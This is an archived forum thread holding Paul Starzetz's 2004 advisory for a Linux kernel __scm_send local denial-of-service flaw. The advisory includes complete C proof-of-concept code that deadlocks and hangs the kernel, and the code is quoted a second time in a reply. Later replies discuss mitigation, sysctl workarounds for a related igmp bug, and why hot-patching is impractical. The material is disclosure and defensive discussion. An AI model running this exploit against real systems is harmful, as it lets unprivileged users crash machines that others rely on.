PDA

Bekijk Volledige Versie : Linux kernel scm_send local DoS



Paul Starzetz
14/12/04, 18:15
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Synopsis: Linux kernel scm_send local DoS
Product: Linux kernel
Version: 2.4 up to and including 2.4.28, 2.6 up to and including 2.6.9
Vendor: http://www.kernel.org/
URL: http://isec.pl/vulnerabilities/isec-0019-scm.txt
CVE: CAN-2004-1016
Author: Paul Starzetz <ihaquer@isec.pl>
Date: Dec 14, 2004


Issue:
======

A locally exploitable flaw has been found in the Linux socket layer,
that allows a local user to hang a vulnerable machine.


Details:
========

The Linux kernel provides a powerful socket API to user applications.
Among other functions sockets provide an universal way for IPC and user-
kernel communication. The socket layer uses several logical sublayers.
One of the layers, so called auxiliary message layer (or scm layer),
augments the socket API by an universal user-kernel message passing
capability (see recvfrom(2) for more details on auxiliary messages).

One of the scm message parsing functions invoked from the kernel
sendmsg() code is __scm_send() and suffers from a deadlock condition if
carefully prepared auxiliary message(s) is sent to a socket by an
unprivileged application.

We believe that the 2.4 kernel branch is not further exploitable. The
2.6 branch has not been extensively checked, however it may be locally
exploitable to gain elevated privileges due to its increased complexity.


Discussion:
=============

See attached code.


Impact:
=======

Unprivileged local users may hang a vulnerable Linux machine.


Credits:
========

Paul Starzetz <ihaquer@isec.pl> has identified the vulnerability and
performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF
INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF
ONE OF THE AUTHORS.


Disclaimer:
===========

This document and all the information it contains are provided "as is",
for educational purposes only, without warranty of any kind, whether
express or implied.

The authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in
this document. Liability claims regarding damage caused by the use of
any information provided, including any kind of information which is
incomplete or incorrect, will therefore be rejected.


Appendix:
=========

/*
* Linux kernel 2.4 & 2.6 __scm_send DoS
* Warning! this code will hang your machine
*
* gcc -O2 scmbang.c -o scmbang
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/


#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <sys/socket.h>
#include <arpa/inet.h>



static char buf[1024];



void
fatal (const char *msg)
{
printf ("\n");
if (!errno)
{
fprintf (stderr, "FATAL: %s\n", msg);
}
else
{
perror (msg);
}
printf ("\n");
fflush (stdout);
fflush (stderr);
exit (1);
}


int
main (void)
{
int s[2], r;
struct sockaddr_in sin;
struct msghdr *msg;
struct cmsghdr *cmsg;

r = socketpair (AF_UNIX, SOCK_DGRAM, 0, s);
if (r < 0)
fatal ("socketpair");

memset (buf, 0, sizeof (buf));
msg = (void *) buf;
msg->msg_control = (void *) (msg + 1);

// make bad cmsgs
cmsg = (void *) msg->msg_control;

cmsg->cmsg_len = sizeof (*cmsg);
cmsg->cmsg_level = 0xdeadbebe;
cmsg->cmsg_type = 12; // len after overflow on second msg
cmsg++;

// -12 for deadlock
cmsg->cmsg_len = -12;
cmsg->cmsg_level = SOL_IP;
msg->msg_controllen = (unsigned) (cmsg + 1) - (unsigned) msg->msg_control;
r = sendmsg (s[0], msg, 0);
if (r < 0)
fatal ("sendmsg");

printf ("\nYou lucky\n");
fflush (stdout);

return 0;
}

- --
Paul Starzetz
iSEC Security Research
http://isec.pl/

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQFBvsFeC+8U3Z5wpu4RAkcYAJ9ZANZb3Yt8LHIZHu4YTi KN+Htt3QCfZ0rH
ZB8QMKmLVyKaQ5fvN/l8mL8=
=2hQr
-----END PGP SIGNATURE-----

even multiplexed
15/12/04, 19:05
Paul Starzetz wrote:

>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>
>Synopsis: Linux kernel scm_send local DoS
>Product: Linux kernel
>Version: 2.4 up to and including 2.4.28, 2.6 up to and including 2.6.9
>Vendor: http://www.kernel.org/
>URL: http://isec.pl/vulnerabilities/isec-0019-scm.txt
>CVE: CAN-2004-1016
>Author: Paul Starzetz <ihaquer@isec.pl>
>Date: Dec 14, 2004
>
>
>Issue:
>======
>
>A locally exploitable flaw has been found in the Linux socket layer,
>that allows a local user to hang a vulnerable machine.
>
>
>Details:
>========
>
>The Linux kernel provides a powerful socket API to user applications.
>Among other functions sockets provide an universal way for IPC and user-
>kernel communication. The socket layer uses several logical sublayers.
>One of the layers, so called auxiliary message layer (or scm layer),
>augments the socket API by an universal user-kernel message passing
>capability (see recvfrom(2) for more details on auxiliary messages).
>
>One of the scm message parsing functions invoked from the kernel
>sendmsg() code is __scm_send() and suffers from a deadlock condition if
>carefully prepared auxiliary message(s) is sent to a socket by an
>unprivileged application.
>
>We believe that the 2.4 kernel branch is not further exploitable. The
>2.6 branch has not been extensively checked, however it may be locally
>exploitable to gain elevated privileges due to its increased complexity.
>
>
>Discussion:
>=============
>
>See attached code.
>
>
>Impact:
>=======
>
>Unprivileged local users may hang a vulnerable Linux machine.
>
>
>Credits:
>========
>
>Paul Starzetz <ihaquer@isec.pl> has identified the vulnerability and
>performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF
>INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF
>ONE OF THE AUTHORS.
>
>
>Disclaimer:
>===========
>
>This document and all the information it contains are provided "as is",
>for educational purposes only, without warranty of any kind, whether
>express or implied.
>
>The authors reserve the right not to be responsible for the topicality,
>correctness, completeness or quality of the information provided in
>this document. Liability claims regarding damage caused by the use of
>any information provided, including any kind of information which is
>incomplete or incorrect, will therefore be rejected.
>
>
>Appendix:
>=========
>
>/*
> * Linux kernel 2.4 & 2.6 __scm_send DoS
> * Warning! this code will hang your machine
> *
> * gcc -O2 scmbang.c -o scmbang
> *
> * Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
> *
> * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
> * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
> * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
> *
> */
>
>
>#define _GNU_SOURCE
>#include <stdio.h>
>#include <errno.h>
>#include <sys/socket.h>
>#include <arpa/inet.h>
>
>
>
>static char buf[1024];
>
>
>
>void
>fatal (const char *msg)
>{
> printf ("\n");
> if (!errno)
> {
> fprintf (stderr, "FATAL: %s\n", msg);
> }
> else
> {
> perror (msg);
> }
> printf ("\n");
> fflush (stdout);
> fflush (stderr);
> exit (1);
>}
>
>
>int
>main (void)
>{
> int s[2], r;
> struct sockaddr_in sin;
> struct msghdr *msg;
> struct cmsghdr *cmsg;
>
> r = socketpair (AF_UNIX, SOCK_DGRAM, 0, s);
> if (r < 0)
> fatal ("socketpair");
>
> memset (buf, 0, sizeof (buf));
> msg = (void *) buf;
> msg->msg_control = (void *) (msg + 1);
>
>// make bad cmsgs
> cmsg = (void *) msg->msg_control;
>
> cmsg->cmsg_len = sizeof (*cmsg);
> cmsg->cmsg_level = 0xdeadbebe;
> cmsg->cmsg_type = 12; // len after overflow on second msg
> cmsg++;
>
>// -12 for deadlock
> cmsg->cmsg_len = -12;
> cmsg->cmsg_level = SOL_IP;
> msg->msg_controllen = (unsigned) (cmsg + 1) - (unsigned) msg->msg_control;
> r = sendmsg (s[0], msg, 0);
> if (r < 0)
> fatal ("sendmsg");
>
> printf ("\nYou lucky\n");
> fflush (stdout);
>
> return 0;
>}
>
>- --
>Paul Starzetz
>iSEC Security Research
>http://isec.pl/
>
>-----BEGIN PGP SIGNATURE-----
>Version: GnuPG v1.0.7 (GNU/Linux)
>
>iD8DBQFBvsFeC+8U3Z5wpu4RAkcYAJ9ZANZb3Yt8LHIZHu4YTi KN+Htt3QCfZ0rH
>ZB8QMKmLVyKaQ5fvN/l8mL8=
>=2hQr
>-----END PGP SIGNATURE-----
>
>
>
>
>
Dear Ladies and Gentleman

First of all thanks to mir Starzetz for bringing this bug to our
attention.i just wanted to ask if anyone has a tip for me how to
quickfix this bug, without actually rebuilding a patched version of the
kernel.
id be thankful for every tip.

i hope theres actually a way to do that, cause our customers wouldnt
like that system of ours to reboot:/

greets
Oliver Leitner

Paul Starzetz
15/12/04, 19:15
On Wed, 15 Dec 2004, even multiplexed wrote:

> attention.i just wanted to ask if anyone has a tip for me how to
> quickfix this bug, without actually rebuilding a patched version of the
> kernel.

I don't think this is practicable, since the bugs reside in deep kernel
functions. You can not fix it just by disabling a particular syscall. You
have patch a running kernel binary, maybe someone comes up with this kind
of utlility.

--
Paul Starzetz
iSEC Security Research
http://isec.pl/

even multiplexed
15/12/04, 22:35
Paul Starzetz wrote:

>On Wed, 15 Dec 2004, even multiplexed wrote:
>
>
>
>>attention.i just wanted to ask if anyone has a tip for me how to
>>quickfix this bug, without actually rebuilding a patched version of the
>>kernel.
>>
>>
>
>I don't think this is practicable, since the bugs reside in deep kernel
>functions. You can not fix it just by disabling a particular syscall. You
>have patch a running kernel binary, maybe someone comes up with this kind
>of utlility.
>
>
>
well, i was also examining the igmp exploit you posted earlier, that one
was relatively easy to disable, by setting the following sysctl vars:

net.ipv4.igmp_max_msf = 0
net.ipv4.igmp_max_memberships = 0
net.ipv4.icmp_ignore_bogus_error_responses = 1

since i dont really need igmp support on that server=)

its just that scm_send thing, that i didnt find any config option for...
so i guess that means either waiting till someone of the kernel
maintainers release a patch, or get one of my friends, that is better on
programming tasks, to fix that one...
all at all makes for quite a risky day for a shell provider...

gadgeteer@elegantinnovations.org
15/12/04, 23:25
On Wed, Dec 15, 2004 at 01:31:30PM +0100, Paul Starzetz (ihaquer@isec.pl) wrote:
> I don't think this is practicable, since the bugs reside in deep kernel
> functions. You can not fix it just by disabling a particular syscall. You
> have patch a running kernel binary, maybe someone comes up with this kind
> of utlility.

Not by disabling the syscall but by replacing it in the manner that a
rootkit replaces syscalls. Build a new kernel from the same
source/config except for patch. Replace syscalls where there is change.
Practical?
Stable?
No. Much easier to simply reboot to new kernel. If service(s) are so
critical as to not tolerate a reboot yet have a single point of failure
on this one component then there are greater problems at play.
--
Chief Gadgeteer
Elegant Innovations